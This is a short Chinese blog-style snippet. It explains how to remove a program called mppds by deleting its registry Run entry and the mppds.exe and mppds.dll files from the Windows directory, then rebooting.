到注册表run项下删除mppds,然后到windows目录清除如下文件:mppds.exe和mppds.dll,再重启一下自己的机子就可以了。

相关日志

发表评论